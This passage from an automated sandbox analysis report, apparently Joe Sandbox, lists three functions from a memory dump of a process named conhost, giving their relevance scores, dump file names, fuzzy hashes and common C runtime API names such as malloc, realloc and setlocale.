                                  • Instruction ID: 16fe945cd8358327b7afe2952afbb0beabb72d7ec9038d4f7e06274c5d1ddd41
                                  • Opcode Fuzzy Hash: e92adf0101e68eae878a29a6c6743d1c6ce4639753d8104e5182ae5fd00c9144
                                  • Instruction Fuzzy Hash: 4C516CB2601F4482EF2ACF5BE4547A9B7A1E758FC4F048122DB9E07774DB39C0968204
                                  Function 000000014004C0B0 Relevance: 6.1, APIs: 4, Instructions: 143COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID:
                                  • API String ID: 2803490479-0
                                  • Opcode ID: 9569ff80a69a4fbce519bc7824c1840e235d2b7f1c5e15126076b90d55c0807e
                                  • Instruction ID: 9a4aa4d4c417048e1c7fefbe7b44f1e7d26392780cfe58122c5be5bc23e21e19
                                  • Opcode Fuzzy Hash: 9569ff80a69a4fbce519bc7824c1840e235d2b7f1c5e15126076b90d55c0807e
                                  • Instruction Fuzzy Hash: 6051CE32322B8095EA9A9B62E640BE927A4F70CBC4F064631EF5C0B3A1DFB4D565C314
                                  Function 0000000140059030 Relevance: 6.1, APIs: 4, Instructions: 106COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: b577786df6d3fc2fef0789da10c5e0cd41edd13a816520024f72584ecf335e30
                                  • Instruction ID: ed6965fc9425ba4e87e3e873ea7763674bc0c3ae99546a056840e5a927e47064
                                  • Opcode Fuzzy Hash: b577786df6d3fc2fef0789da10c5e0cd41edd13a816520024f72584ecf335e30
                                  • Instruction Fuzzy Hash: CE3130B2702F4582EE2ADF57F994399A361EB5CBC4F048521DB9E077A1EF39D4918340
                                  Function 000000014003D040 Relevance: 6.1, APIs: 4, Instructions: 90stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: setlocale$fflushfreelocaleconv$Unwind_strdupabortfsetposmemsetstrcmpstrftimestrlen
                                  • String ID:
                                  • API String ID: 722154204-0
                                  • Opcode ID: ab94e32acd7199979b81e781678e504c9f54c409b858d09f5ea2fcb96d1ef018
                                  • Instruction ID: f0308cdcbd91eddc391a2e8607cb7dfbca1c475c9b5a4b8c050026a1cb4abbdc
                                  • Opcode Fuzzy Hash: ab94e32acd7199979b81e781678e504c9f54c409b858d09f5ea2fcb96d1ef018
                                  • Instruction Fuzzy Hash: EA21C37231859441FA27AB23B442BDB6311AB99FD4F088521BF8D47BBBEE3CC5428740